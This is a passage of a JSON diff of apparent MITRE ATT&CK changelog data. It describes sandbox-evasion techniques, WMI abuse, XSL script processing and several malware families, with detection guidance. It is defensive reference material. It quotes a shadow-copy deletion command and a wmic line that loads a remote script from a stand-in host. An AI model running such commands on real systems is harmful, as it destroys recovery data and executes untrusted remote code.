Analysis", + "Anti-virus" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:50:18.048000+00:00\", \"old_value\": \"2021-10-15 22:37:43.854000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.\", \"old_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.\", \"new_path\": \"root['external_references'][6]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit\", \"old_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc\", \"new_path\": \"root['external_references'][6]['url']\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-06 21:04:12.454000+00:00", + "modified": "2024-09-12 15:50:18.050000+00:00", + "name": "User Activity Based Checks", + "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497/002", + "external_id": "T1497.002" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Unit 42 Sofacy Nov 2018", + "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Sans Virtual Jan 2016", + "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.", + "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667" + }, + { + "source_name": "Deloitte Environment Awareness", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.", + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Deloitte Threat Library Team" + ], + "x_mitre_data_sources": [ + "Process: OS API Execution", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Static File Analysis", + "Signature-based detection", + "Host forensic analysis" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:50:18.050000+00:00\", \"old_value\": \"2021-10-18 14:57:48.362000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.\", \"old_value\": \"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021.\", \"new_path\": \"root['external_references'][4]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit\", \"old_value\": \"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc\", \"new_path\": \"root['external_references'][4]['url']\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:44.329000+00:00", + "modified": "2024-10-15 15:20:57.328000+00:00", + "name": "Windows Management Instrumentation", + "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \u201cdisabled by default\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1047", + "external_id": "T1047" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + }, + { + "source_name": "Mandiant WMI", + "description": "Mandiant. (n.d.). Retrieved February 13, 2024.", + "url": "https://www.mandiant.com/resources/reports" + }, + { + "source_name": "WMI 6", + "description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/" + }, + { + "source_name": "WMI 1-3", + "description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN" + }, + { + "source_name": "WMI 7,8", + "description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.", + "url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "@ionstorm", + "Olaf Hartong, Falcon Force", + "Tristan Madani" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Process: Process Creation", + "WMI: WMI Creation", + "Command: Command Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_remote_support": true, + "x_mitre_version": "1.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:20:57.328000+00:00\", \"old_value\": \"2024-04-11 18:13:25.130000+00:00\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1038: Execution Prevention", + "M1040: Behavior Prevention on Endpoint" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0005: WMI (WMI Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Connection Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2024-09-12 19:40:12.337000+00:00", + "name": "XSL Script Processing", + "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1220", + "external_id": "T1220" + }, + { + "source_name": "Reaqta MSXSL Spearphishing MAR 2018", + "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.", + "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/" + }, + { + "source_name": "Twitter SquiblyTwo Detection APR 2018", + "description": "Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.", + "url": "https://x.com/dez_/status/986614411711442944" + }, + { + "source_name": "LOLBAS Wmic", + "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.", + "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/" + }, + { + "source_name": "Microsoft msxsl.exe", + "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.", + "url": "https://www.microsoft.com/download/details.aspx?id=21714" + }, + { + "source_name": "Penetration Testing Lab MSXSL July 2017", + "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.", + "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/" + }, + { + "source_name": "XSL Bypass Mar 2019", + "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.", + "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75" + }, + { + "source_name": "Microsoft XSLT Script Mar 2017", + "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.", + "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Avneet Singh", + "Casey Smith", + "Praetorian" + ], + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: Process Creation" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Digital Certificate Validation", + "Application Control" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_system_requirements": [ + "Microsoft Core XML Services (MSXML) or access to wmic.exe" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:40:12.337000+00:00\", \"old_value\": \"2022-05-05 05:04:14.238000+00:00\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.\", \"old_value\": \"Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://x.com/dez_/status/986614411711442944\", \"old_value\": \"https://twitter.com/dez_/status/986614411711442944\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)" + ], + "new": [], + "dropped": [] + } + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "software": { + "additions": [ + { + "type": "malware", + "id": "malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-22 19:16:58.646000+00:00", + "modified": "2024-08-29 15:21:36.079000+00:00", + "name": "Apostle", + "description": "[Apostle](https://attack.mitre.org/software/S1133) is malware that has functioned as both a wiper and, in more recent versions, as ransomware. [Apostle](https://attack.mitre.org/software/S1133) is written in .NET and shares various programming and functional overlaps with [IPsec Helper](https://attack.mitre.org/software/S1132).(Citation: SentinelOne Agrius 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1133", + "external_id": "S1133" + }, + { + "source_name": "SentinelOne Agrius 2021", + "description": "Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.", + "url": "https://assets.sentinelone.com/sentinellabs/evol-agrius" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Apostle" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--d6aefbbf-fbef-485a-973e-b5403d8f8b18", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-05-22 22:51:51.324000+00:00", + "modified": "2024-08-29 15:21:10.780000+00:00", + "name": "BFG Agonizer", + "description": "[BFG Agonizer](https://attack.mitre.org/software/S1136) is a wiper related to the open-source project CRYLINE-v.5.0. The malware is associated with wiping operations conducted by the [Agrius](https://attack.mitre.org/groups/G1030) threat actor.(Citation: Unit42 Agrius 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1136", + "external_id": "S1136" + }, + { + "source_name": "Unit42 Agrius 2023", + "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.", + "url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BFG Agonizer" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--8d1f89fd-4dde-40ab-80e0-a7b80249162e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-20 23:08:38.199000+00:00", + "modified": "2024-09-23 21:26:40.646000+00:00", + "name": "BPFDoor", + "description": "[BPFDoor](https://attack.mitre.org/software/S1161) is a Linux based passive long-term backdoor used by China-based threat actors. First seen in 2021, [BPFDoor](https://attack.mitre.org/software/S1161) is named after its usage of Berkley Packet Filter (BPF) to execute single task instructions. [BPFDoor](https://attack.mitre.org/software/S1161) supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP and can start local or reverse shells that bypass firewalls using iptables.(Citation: Sandfly BPFDoor 2022)(Citation: Deep Instinct BPFDoor 2023)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1161", + "external_id": "S1161" + }, + { + "source_name": "Harries JustForFun 2022", + "description": " Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved September 23, 2024.", + "url": "https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/" + }, + { + "source_name": "JustForFun", + "description": "(Citation: Harries JustForFun 2022)" + }, + { + "source_name": "Backdoor.Solaris.BPFDOOR.ZAJE", + "description": "(Citation: Harries JustForFun 2022)" + }, + { + "source_name": "Backdoor.Linux.BPFDOOR", + "description": "(Citation: Merces BPFDOOR 2023)" + }, + { + "source_name": "Merces BPFDOOR 2023", + "description": "Fernando Merces. (2023, July 13). Detecting BPFDoor Backdoor Variants Abusing BPF Filters. Retrieved September 23, 2024.", + "url": "https://www.trendmicro.com/en_us/research/23/g/detecting-bpfdoor-backdoor-variants-abusing-bpf-filters.html" + }, + { + "source_name": "Deep Instinct BPFDoor 2023", + "description": "Shaul Vilkomir-Preisman and Eliran Nissan. (2023, May 10). BPFDoor Malware Evolves \u2013 Stealthy Sniffing Backdoor Ups Its Game. Retrieved September 19, 2024.", + "url": "https://www.deepinstinct.com/blog/bpfdoor-malware-evolves-stealthy-sniffing-backdoor-ups-its-game" + }, + { + "source_name": "Sandfly BPFDoor 2022", + "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.", + "url": "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "BPFDoor", + "JustForFun", + "Backdoor.Linux.BPFDOOR", + "Backdoor.Solaris.BPFDOOR.ZAJE" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--542e3384-341a-455b-bb48-4917b25e3b00", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-07 20:03:17.762000+00:00", + "modified": "2024-08-09 17:29:21.238000+00:00", + "name": "CHIMNEYSWEEP", + "description": "[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) is a backdoor malware that was deployed during [HomeLand Justice](https://attack.mitre.org/campaigns/C0038) along with [ROADSWEEP](https://attack.mitre.org/software/S1150) ransomware, and has been used to target Farsi and Arabic speakers since at least 2012.(Citation: Mandiant ROADSWEEP August 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1149", + "external_id": "S1149" + }, + { + "source_name": "Mandiant ROADSWEEP August 2022", + "description": "Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "CHIMNEYSWEEP" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "tool", + "id": "tool--05fb53c8-e2ac-4e17-a0c9-a0825e1198bf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-09-04 17:08:08.985000+00:00", + "modified": "2024-09-06 18:11:55.619000+00:00", + "name": "Covenant", + "description": "[Covenant](https://attack.mitre.org/software/S1155) is a multi-platform command and control framework written in .NET. While designed for penetration testing and security research, the tool has also been used by threat actors such as [HAFNIUM](https://attack.mitre.org/groups/G0125) during operations. [Covenant](https://attack.mitre.org/software/S1155) functions through a central listener managing multiple deployed \"Grunts\" that communicate back to the controller.(Citation: Github Covenant)(Citation: Microsoft HAFNIUM March 2020)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1155", + "external_id": "S1155" + }, + { + "source_name": "Github Covenant", + "description": "cobbr. (2021, April 21). Covenant. Retrieved September 4, 2024.", + "url": "https://github.com/cobbr/Covenant" + }, + { + "source_name": "Microsoft HAFNIUM March 2020", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Covenant" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Subhash Thapa" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "malware", + "id": "malware--457a5e8d-d964-4130-bde3-c07bb41a093e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-08-20 19:39:35.337000+00:00", + "modified": "2024-10-28 16:22:59.359000+00:00", + "name": "Cuckoo Stealer", + "description": "[Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a macOS malware with characteristics of spyware and an infostealer that has been in use since at least 2024. [Cuckoo Stealer](https://attack.mitre.org/software/S1153) is a universal Mach-O binary that can run on Intel or ARM-based Macs and has been spread through trojanized versions of various potentially unwanted programs or PUP's such as converters, cleaners, and uninstallers.(Citation: Kandji Cuckoo April 2024)(Citation: SentinelOne Cuckoo Stealer May 2024)\n", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1153", + "external_id": "S1153" + }, + { + "source_name": "Kandji Cuckoo April 2024", + "description": "Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.", + "url": "https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware" + }, + { + "source_name": "SentinelOne Cuckoo Stealer May 2024", + "description": "Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.", + "url": "https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Cuckoo Stealer" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Takemasa Kamatani, NEC Corporation", + "Sareena Karapoola, NEC Corporation India", + "Pooja Natarajan, NEC Corporation India" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": 